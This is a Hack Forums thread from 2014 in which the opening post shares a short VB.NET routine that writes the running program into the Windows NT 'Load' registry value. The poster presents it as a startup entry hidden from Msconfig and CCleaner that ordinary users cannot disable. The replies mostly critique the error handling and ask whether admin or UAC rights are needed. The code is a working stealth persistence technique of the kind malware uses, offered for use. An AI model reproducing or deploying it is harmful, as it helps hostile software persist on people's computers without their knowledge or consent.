Hack Forums
[.NET] Hidden Startup | Hidden from Msconfig and CCleaner - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] Hidden Startup | Hidden from Msconfig and CCleaner (/showthread.php?tid=4414137)

Pages: Pages 1 2


Hidden Startup | Hidden from Msconfig and CCleaner - Voidlight - Aug 25, 2014

Here is a hidden startup method that can bypass Msconfig and CCcleaner

Code
Private Sub Startup()
      On Error Resume Next
      Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows NT\CurrentVersion\Windows", True).SetValue("Load", Process.GetCurrentProcess.MainModule.FileName)
    End Sub

Any normal user will not know how to disable this startup.

Enjoy.



* - zeroexp - Aug 25, 2014

This question may be stupid, but why do you use a function instead of a sub :-?


* - LordCoder - Aug 25, 2014

And why do you use On Error Resume Next? That's the worst idea ever.


* - Voidlight - Aug 25, 2014

(Aug 25, 2014 09:07 AM)Wops Wrote:  This question may be stupid, but why do you use a function instead of a sub :-?

Your right lol.. my bad will fix this now.


* - imi-tat0r - Aug 25, 2014

There is no reason for this i guess
But you could use a try catch and return true or false for persistance or stuff like that :)

But thanks for this code I didn't even know or think of this :P
Gonna try it soon


* - Voidlight - Aug 25, 2014

(Aug 25, 2014 09:22 AM)imi-tat0r Wrote:  There is no reason for this i guess
But you could use a try catch and return true or false for persistance or stuff like that :)

But thanks for this code I didn't even know or think of this :P
Gonna try it soon

No problem, and if you do use it, don't bother crediting :P


* - Cairns - Aug 25, 2014

On error resume next... VB6 shit, leave that behind.

Before adding a try/catch, try to think about the problems that could occur whilst that code is ran, solve them, and add a try/catch to catch an error you have not already solved.


* - SIM-1456245 - Aug 25, 2014

Wait wouldn't that ask for Admin + UAC ?


* - Marwix - Aug 25, 2014

[Image: b7D9C.png]

It doesn't need to have 'On Resume'. Just use a Try statement to catch the exception if an error is occured upon runtime.

In this case, it will exit the sub if it doesn't add the value properly. You can add a return statement as well but you would have to change your sub into a function and return "Could not add a registry value to key" instead of Exit sub.


* - Cairns - Aug 25, 2014

(Aug 25, 2014 12:22 PM)Tsukiko Tsutsukakushi Wrote:  [Image: b7D9C.png]

It doesn't need to have 'On Resume'. Just use a Try statement to catch the exception if an error is occured upon runtime.

In this case, it will exit the sub if it doesn't add the value properly. You can add a return statement as well but you would have to change your sub into a function and return "Could not add a registry value to key" instead of Exit sub.

Can you care to explain why you are exiting the sub routine during your catch? lol


* - zeroexp - Aug 25, 2014

(Aug 25, 2014 12:34 PM)Cairns Wrote:  Can you care to explain why you are exiting the sub routine during your catch? lol

Yeah i noticed that too, no point really since there is no other code in the sub.


* - Marwix - Aug 25, 2014

(Aug 25, 2014 12:34 PM)Cairns Wrote:  Can you care to explain why you are exiting the sub routine during your catch? lol

You don't have to exit the sub. You can just write 'Msgbox("Coud not add reg value")' in the exception statement as well but I'm trying to let him understand how I mean by using Exit sub.

OP, the exception can be anything but I prefer having a msgbox that appears if an error occurs.

How would you do it Cairns?

I'm pretty sure that I haven't done anything wrong here 😅


* - Voidlight - Aug 25, 2014

Really great ideas guys. 10/10 would implement.


* - VirinomTR - Aug 26, 2014

(Aug 25, 2014 08:37 PM)Sυιcιɗє SιƖєηcÑ” Wrote:  Really great ideas guys. 10/10 would implement.

What about admin rights and uac ? Are they required ?


* - imi-tat0r - Aug 26, 2014

for HKCU not i guess and for HKLM you will need Admin rights. I don't know about UAC